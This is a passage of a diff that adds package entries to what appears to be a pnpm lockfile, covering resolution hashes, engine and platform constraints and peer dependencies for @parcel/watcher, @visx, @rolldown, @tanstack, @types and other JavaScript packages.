sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-arm-musl@2.5.6': + resolution: {integrity: sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + libc: [musl] + + '@parcel/watcher-linux-arm64-glibc@2.5.6': + resolution: {integrity: sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-arm64-musl@2.5.6': + resolution: {integrity: sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@parcel/watcher-linux-x64-glibc@2.5.6': + resolution: {integrity: sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-x64-musl@2.5.6': + resolution: {integrity: sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@parcel/watcher-win32-arm64@2.5.6': + resolution: {integrity: sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [win32] + + '@parcel/watcher-win32-ia32@2.5.6': + resolution: {integrity: sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==} + engines: {node: '>= 10.0.0'} + cpu: [ia32] + os: [win32] + + '@parcel/watcher-win32-x64@2.5.6': + resolution: {integrity: sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [win32] + + '@parcel/watcher@2.5.6': + resolution: {integrity: sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==} + engines: {node: '>= 10.0.0'} + + '@react-spring/animated@9.7.5': + resolution: {integrity: sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/core@9.7.5': + resolution: {integrity: sha512-rmEqcxRcu7dWh7MnCcMXLvrf6/SDlSokLaLTxiPlAYi11nN3B5oiCUAblO72o+9z/87j2uzxa2Inm8UbLjXA+w==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/rafz@9.7.5': + resolution: {integrity: sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw==} + + '@react-spring/shared@9.7.5': + resolution: {integrity: sha512-wdtoJrhUeeyD/PP/zo+np2s1Z820Ohr/BbuVYv+3dVLW7WctoiN7std8rISoYoHpUXtbkpesSKuPIw/6U1w1Pw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/types@9.7.5': + resolution: {integrity: sha512-HVj7LrZ4ReHWBimBvu2SKND3cDVUPWKLqRTmWe/fNY6o1owGOX0cAHbdPDTMelgBlVbrTKrre6lFkhqGZErK/g==} + + '@react-spring/web@9.7.5': + resolution: {integrity: sha512-lmvqGwpe+CSttsWNZVr+Dg62adtKhauGwLyGE/RRyZ8AAMLgb9x3NDMA5RMElXo+IMyTkPp7nxTB8ZQlmhb6JQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@rolldown/binding-android-arm64@1.0.0-beta.50': + resolution: {integrity: sha512-XlEkrOIHLyGT3avOgzfTFSjG+f+dZMw+/qd+Y3HLN86wlndrB/gSimrJCk4gOhr1XtRtEKfszpadI3Md4Z4/Ag==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [android] + + '@rolldown/binding-darwin-arm64@1.0.0-beta.50': + resolution: {integrity: sha512-+JRqKJhoFlt5r9q+DecAGPLZ5PxeLva+wCMtAuoFMWPoZzgcYrr599KQ+Ix0jwll4B4HGP43avu9My8KtSOR+w==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [darwin] + + '@rolldown/binding-darwin-x64@1.0.0-beta.50': + resolution: {integrity: sha512-fFXDjXnuX7/gQZQm/1FoivVtRcyAzdjSik7Eo+9iwPQ9EgtA5/nB2+jmbzaKtMGG3q+BnZbdKHCtOacmNrkIDA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [darwin] + + '@rolldown/binding-freebsd-x64@1.0.0-beta.50': + resolution: {integrity: sha512-F1b6vARy49tjmT/hbloplzgJS7GIvwWZqt+tAHEstCh0JIh9sa8FAMVqEmYxDviqKBaAI8iVvUREm/Kh/PD26Q==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [freebsd] + + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.50': + resolution: {integrity: sha512-U6cR76N8T8M6lHj7EZrQ3xunLPxSvYYxA8vJsBKZiFZkT8YV4kjgCO3KwMJL0NOjQCPGKyiXO07U+KmJzdPGRw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm] + os: [linux] + + '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.50': + resolution: {integrity: sha512-ONgyjofCrrE3bnh5GZb8EINSFyR/hmwTzZ7oVuyUB170lboza1VMCnb8jgE6MsyyRgHYmN8Lb59i3NKGrxrYjw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-arm64-musl@1.0.0-beta.50': + resolution: {integrity: sha512-L0zRdH2oDPkmB+wvuTl+dJbXCsx62SkqcEqdM+79LOcB+PxbAxxjzHU14BuZIQdXcAVDzfpMfaHWzZuwhhBTcw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rolldown/binding-linux-x64-gnu@1.0.0-beta.50': + resolution: {integrity: sha512-gyoI8o/TGpQd3OzkJnh1M2kxy1Bisg8qJ5Gci0sXm9yLFzEXIFdtc4EAzepxGvrT2ri99ar5rdsmNG0zP0SbIg==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-x64-musl@1.0.0-beta.50': + resolution: {integrity: sha512-zti8A7M+xFDpKlghpcCAzyOi+e5nfUl3QhU023ce5NCgUxRG5zGP2GR9LTydQ1rnIPwZUVBWd4o7NjZDaQxaXA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rolldown/binding-openharmony-arm64@1.0.0-beta.50': + resolution: {integrity: sha512-eZUssog7qljrrRU9Mi0eqYEPm3Ch0UwB+qlWPMKSUXHNqhm3TvDZarJQdTevGEfu3EHAXJvBIe0YFYr0TPVaMA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [openharmony] + + '@rolldown/binding-wasm32-wasi@1.0.0-beta.50': + resolution: {integrity: sha512-nmCN0nIdeUnmgeDXiQ+2HU6FT162o+rxnF7WMkBm4M5Ds8qTU7Dzv2Wrf22bo4ftnlrb2hKK6FSwAJSAe2FWLg==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + + '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.50': + resolution: {integrity: sha512-7kcNLi7Ua59JTTLvbe1dYb028QEPaJPJQHqkmSZ5q3tJueUeb6yjRtx8mw4uIqgWZcnQHAR3PrLN4XRJxvgIkA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [win32] + + '@rolldown/binding-win32-ia32-msvc@1.0.0-beta.50': + resolution: {integrity: sha512-lL70VTNvSCdSZkDPPVMwWn/M2yQiYvSoXw9hTLgdIWdUfC3g72UaruezusR6ceRuwHCY1Ayu2LtKqXkBO5LIwg==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [ia32] + os: [win32] + + '@rolldown/binding-win32-x64-msvc@1.0.0-beta.50': + resolution: {integrity: sha512-4qU4x5DXWB4JPjyTne/wBNPqkbQU8J45bl21geERBKtEittleonioACBL1R0PsBu0Aq21SwMK5a9zdBkWSlQtQ==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [win32] + + '@rolldown/pluginutils@1.0.0-beta.50': + resolution: {integrity: sha512-5e76wQiQVeL1ICOZVUg4LSOVYg9jyhGCin+icYozhsUzM+fHE7kddi1bdiE0jwVqTfkjba3jUFbEkoC9WkdvyA==} + + '@rolldown/pluginutils@1.0.0-rc.2': + resolution: {integrity: sha512-izyXV/v+cHiRfozX62W9htOAvwMo4/bXKDrQ+vom1L1qRuexPock/7VZDAhnpHCLNejd3NJ6hiab+tO0D44Rgw==} + + '@sindresorhus/merge-streams@4.0.0': + resolution: {integrity: sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==} + engines: {node: '>=18'} + + '@tanstack/query-core@5.90.20': + resolution: {integrity: sha512-OMD2HLpNouXEfZJWcKeVKUgQ5n+n3A2JFmBaScpNDUqSrQSjiveC7dKMe53uJUg1nDG16ttFPz2xfilz6i2uVg==} + + '@tanstack/query-devtools@5.93.0': + resolution: {integrity: sha512-+kpsx1NQnOFTZsw6HAFCW3HkKg0+2cepGtAWXjiiSOJJ1CtQpt72EE2nyZb+AjAbLRPoeRmPJ8MtQd8r8gsPdg==} + + '@tanstack/react-query-devtools@5.91.3': + resolution: {integrity: sha512-nlahjMtd/J1h7IzOOfqeyDh5LNfG0eULwlltPEonYy0QL+nqrBB+nyzJfULV+moL7sZyxc2sHdNJki+vLA9BSA==} + peerDependencies: + '@tanstack/react-query': ^5.90.20 + react: ^18 || ^19 + + '@tanstack/react-query@5.90.20': + resolution: {integrity: sha512-vXBxa+qeyveVO7OA0jX1z+DeyCA4JKnThKv411jd5SORpBKgkcVnYKCiBgECvADvniBX7tobwBmg01qq9JmMJw==} + peerDependencies: + react: ^18 || ^19 + + '@tybys/wasm-util@0.10.1': + resolution: {integrity: sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==} + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.28.0': + resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} + + '@types/d3-array@3.0.3': + resolution: {integrity: sha512-Reoy+pKnvsksN0lQUlcH6dOGjRZ/3WRwXR//m+/8lt1BXeI4xyaUZoqULNjyXXRuh0Mj4LNpkCvhUpQlY3X5xQ==} + + '@types/d3-color@3.1.0': + resolution: {integrity: sha512-HKuicPHJuvPgCD+np6Se9MQvS6OCbJmOjGvylzMJRlDwUXjKTTXs6Pwgk79O09Vj/ho3u1ofXnhFOaEWWPrlwA==} + + '@types/d3-delaunay@6.0.1': + resolution: {integrity: sha512-tLxQ2sfT0p6sxdG75c6f/ekqxjyYR0+LwPrsO1mbC9YDBzPJhs2HbJJRrn8Ez1DBoHRo2yx7YEATI+8V1nGMnQ==} + + '@types/d3-format@3.0.1': + resolution: {integrity: sha512-5KY70ifCCzorkLuIkDe0Z9YTf9RR2CjBX1iaJG+rgM/cPP+sO+q9YdQ9WdhQcgPj1EQiJ2/0+yUkkziTG6Lubg==} + + '@types/d3-geo@3.1.0': + resolution: {integrity: sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==} + + '@types/d3-interpolate@3.0.1': + resolution: {integrity: sha512-jx5leotSeac3jr0RePOH1KdR9rISG91QIE4Q2PYTu4OymLTZfA3SrnURSLzKH48HmXVUru50b8nje4E79oQSQw==} + + '@types/d3-path@1.0.11': + resolution: {integrity: sha512-4pQMp8ldf7UaB/gR8Fvvy69psNHkTpD/pVw3vmEi8iZAB9EPMBruB1JvHO4BIq9QkUUd2lV1F5YXpMNj7JPBpw==} + + '@types/d3-scale@4.0.2': + resolution: {integrity: sha512-Yk4htunhPAwN0XGlIwArRomOjdoBFXC3+kCxK2Ubg7I9shQlVSJy/pG/Ht5ASN+gdMIalpk8TJ5xV74jFsetLA==} + + '@types/d3-shape@1.3.12': + resolution: {integrity: sha512-8oMzcd4+poSLGgV0R1Q1rOlx/xdmozS4Xab7np0eamFFUYq71AU9pOCJEFnkXW2aI/oXdVYJzw6pssbSut7Z9Q==} + + '@types/d3-time-format@2.1.0': + resolution: {integrity: sha512-/myT3I7EwlukNOX2xVdMzb8FRgNzRMpsZddwst9Ld/VFe6LyJyRp0s32l/V9XoUzk+Gqu56F/oGk6507+8BxrA==} + + '@types/d3-time@3.0.0': + resolution: {integrity: sha512-sZLCdHvBUcNby1cB6Fd3ZBrABbjz3v1Vm90nysCQ6Vt7vd6e/h9Lt7SiJUoEX0l4Dzc7P5llKyhqSi1ycSf1Hg==} + + '@types/d3-voronoi@1.1.12': + resolution: {integrity: sha512-DauBl25PKZZ0WVJr42a6CNvI6efsdzofl9sajqZr2Gf5Gu733WkDdUGiPkUHXiUvYGzNNlFQde2wdZdfQPG+yw==} + + '@types/geojson@7946.0.16': + resolution: {integrity: sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==} + + '@types/lodash@4.17.23': + resolution: {integrity: sha512-RDvF6wTulMPjrNdCoYRC8gNR880JNGT8uB+REUpC2Ns4pRqQJhGz90wh7rgdXDPpCczF3VGktDuFGVnz8zP7HA==} + + '@types/node@25.2.2': + resolution: {integrity: sha512-BkmoP5/FhRYek5izySdkOneRyXYN35I860MFAGupTdebyE66uZaR+bXLHq8k4DirE5DwQi3NuhvRU1jqTVwUrQ==} + + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.2.13': + resolution: {integrity: sha512-KkiJeU6VbYbUOp5ITMIc7kBfqlYkKA5KhEHVrGMmUUMt7NeaZg65ojdPk+FtNrBAOXNVM5QM72jnADjM+XVRAQ==} + + '@visx/annotation@3.12.0': + resolution: {integrity: sha512-ZH6Y4jfrb47iEUV9O2itU9TATE5IPzhs5qvP6J7vmv26qkqwDcuE7xN3S3l9R70WjyEKGbpO8js4EijA3FJWkA==} + peerDependencies: + react: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/axis@3.12.0': + resolution: {integrity: sha512-8MoWpfuaJkhm2Yg+HwyytK8nk+zDugCqTT/tRmQX7gW4LYrHYLXFUXOzbDyyBakCVaUbUaAhVFxpMASJiQKf7A==} + peerDependencies: + react: ^16.3.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/bounds@3.12.0': + resolution: {integrity: sha512-peAlNCUbYaaZ0IO6c1lDdEAnZv2iGPDiLIM8a6gu7CaMhtXZJkqrTh+AjidNcIqITktrICpGxJE/Qo9D099dvQ==} + peerDependencies: + react: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + react-dom: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/curve@3.12.0': + resolution: {integrity: sha512-Ng1mefXIzoIoAivw7dJ+ZZYYUbfuwXgZCgQynShr6ZIVw7P4q4HeQfJP3W24ON+1uCSrzoycHSXRelhR9SBPcw==} + + '@visx/drag@3.12.0': + resolution: {integrity: sha512-LXOoPVw//YPjpYhDJYBsCYDuv1QimsXjDV98duH0aCy4V94ediXMQpe2wHq4pnlDobLEB71FjOZMFrbFmqtERg==} + peerDependencies: + react: ^16.8.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/event@3.12.0': + resolution: {integrity: sha512-9Lvw6qJ0Fi+y1vsC1WspfdIKCxHTb7oy59Uql1uBdPGT8zChP0vuxW0jQNQRDbKgoefj4pCXAFi8+MF1mEtVTw==} + + '@visx/glyph@3.12.0': + resolution: {integrity: sha512-E9ST9MoPNyXQzjZxYYAGXT4CbBpnB90Qhx8UvUUM2/n/SZUNeH+m6UiB/CzT0jGK2b0lPHF91mlOiQ8JXBRhYg==} + peerDependencies: + react: ^16.3.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/grid@3.12.0': + resolution: {integrity: sha512-L4ex2ooSYhwNIxJ3XFIKRhoSvEGjPc2Y3YCrtNB4TV5Ofdj4q0UMOsxfrH23Pr8HSHuQhb6VGMgYoK0LuWqDmQ==} + peerDependencies: + react: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/group@3.12.0': + resolution: {integrity: sha512-Dye8iS1alVXPv7nj/7M37gJe6sSKqJLH7x6sEWAsRQ9clI0kFvjbKcKgF+U3aAVQr0NCohheFV+DtR8trfK/Ag==} + peerDependencies: + react: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/point@3.12.0': + resolution: {integrity: sha512-I6UrHoJAEVbx3RORQNupgTiX5EzjuZpiwLPxn8L2mI5nfERotPKi1Yus12Cq2WtXqEBR/WgqTnoImlqOXBykcA==} + + '@visx/react-spring@3.12.0': + resolution: {integrity: sha512-ehtmjFrUQx3g0mZ684M4LgI9UfQ84ZWD/m9tKfvXhEm1Vl8D4AjaZ4af1tTOg9S7vk2VlpxvVOVN7+t5pu0nSA==} + peerDependencies: + '@react-spring/web': ^9.4.5 + react: ^16.3.0-0 || ^17.0.0 || ^18.0.0 + + '@visx/responsive@3.12.0': + resolution: {integrity: sha512-GV1BTYwAGlk/K5c9vH8lS2syPnTuIqEacI7L6LRPbsuaLscXMNi+i9fZyzo0BWvAdtRV8v6Urzglo++lvAXT1Q==} + peerDependencies: + react: ^16.0.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/scale@3.12.0': + resolution: {integrity: sha512-+ubijrZ2AwWCsNey0HGLJ0YKNeC/XImEFsr9rM+Uef1CM3PNM43NDdNTrdBejSlzRq0lcfQPWYMYQFSlkLcPOg==} + + '@visx/shape@3.12.0': + resolution: {integrity: sha512-/1l0lrpX9tPic6SJEalryBKWjP/ilDRnQA+BGJTI1tj7i23mJ/J0t4nJHyA1GrL4QA/bM/qTJ35eyz5dEhJc4g==} + peerDependencies: + react: ^16.3.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/text@3.12.0': + resolution: {integrity: sha512-0rbDYQlbuKPhBqXkkGYKFec1gQo05YxV45DORzr6hCyaizdJk1G+n9VkuKSHKBy1vVQhBA0W3u/WXd7tiODQPA==} + peerDependencies: + react: ^16.3.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/tooltip@3.12.0': + resolution: {integrity: sha512-pWhsYhgl0Shbeqf80qy4QCB6zpq6tQtMQQxKlh3UiKxzkkfl+Metaf9p0/S0HexNi4vewOPOo89xWx93hBeh3A==} + peerDependencies: + react: ^16.8.0-0 || ^17.0.0-0 || ^18.0.0-0 + react-dom: ^16.8.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/vendor@3.12.0': + resolution: {integrity: sha512-SVO+G0xtnL9dsNpGDcjCgoiCnlB3iLSM9KLz1sLbSrV7RaVXwY3/BTm2X9OWN1jH2a9M+eHt6DJ6sE6CXm4cUg==} + + '@visx/voronoi@3.12.0': + resolution: {integrity: sha512-U3HWu6g5UjQchFDq8k/A4U9WrlN+80rAFPdGOUvIGOueQw9RmlZlNaeg8IJcQr2yk1s4O/VSpt3nR82zdINWMw==} + peerDependencies: + react: ^16.3.0-0 || ^17.0.0-0 || ^18.0.0-0 + + '@visx/xychart@3.12.0': + resolution: {integrity: sha512-itJ7qvj/STpVmHesVyo2vPOataBM1mgSaf9R6/s4Bpe340wZldfCJ+IqRcNgdtbBagz1Hlr/sRnla4tWE2yw9A==} + peerDependencies: + '@react-spring/web': ^9.4.5 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@vitejs/plugin-react@5.1.3': + resolution: {integrity: sha512-NVUnA6gQCl8jfoYqKqQU5Clv0aPw14KkZYCsX6T9Lfu9slI0LOU10OTwFHS/WmptsMMpshNd/1tuWsHQ2Uk+cg==} + engines: {node: ^20.19.0 || >=22.12.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + + ajv@8.17.1: + resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + astral-regex@2.0.0: + resolution: {integrity: sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==} + engines: {node: '>=8'} + + asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + axios@1.13.5: + resolution: {integrity: sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==} + + balanced-match@0.4.2: + resolution: {integrity: sha512-STw03mQKnGUYtoNjmowo4F2cRmIIxYEGiMsjjwla/u5P1lxadj/05WkNaFjNiKTgJkj8KiXbgAiRTmcQRwQNtg==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + balanced-match@3.0.1: + resolution: {integrity: sha512-vjtV3hiLqYDNRoiAv0zC4QaGAMPomEoq83PRmYIofPswwZurCeWR5LByXm7SyoL0Zh5+2z0+HC7jG8gSZJUh0w==} + engines: {node: '>= 16'} + + baseline-browser-mapping@2.9.19: + resolution: {integrity: sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg==} + hasBin: true + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + cacheable@2.3.2: + resolution: {integrity: sha512-w+ZuRNmex9c1TR9RcsxbfTKCjSL0rh1WA5SABbrWprIHeNBdmyQLSYonlDy9gpD+63XT8DgZ/wNh1Smvc9WnJA==} + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caniuse-lite@1.0.30001769: + resolution: {integrity: sha512-BCfFL1sHijQlBGWBMuJyhZUhzo7wer5sVj9hqekB/7xn0Ypy+pER/edCYQm4exbXj4WiySGp40P8UuTh6w1srg==} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + classnames@2.5.1: + resolution: {integrity: sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + colord@2.9.3: + resolution: {integrity: sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cookie@1.1.1: + resolution: {integrity: sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==} + engines: {node: '>=18'} + + cosmiconfig@9.0.0: + resolution: {integrity: sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==} + engines: {node: '>=14'} + peerDependencies: + typescript: '>=4.9.5' + peerDependenciesMeta: + typescript: + optional: true + + css-functions-list@3.2.3: + resolution: {integrity: sha512-IQOkD3hbR5KrN93MtcYuad6YPuTSUhntLHDuLEbFWE+ff2/XSZNdZG+LcbbIW5AXKg/WFIfYItIzVoHngHXZzA==} + engines: {node: '>=12 || >=16'} + + css-tree@3.1.0: + resolution: {integrity: 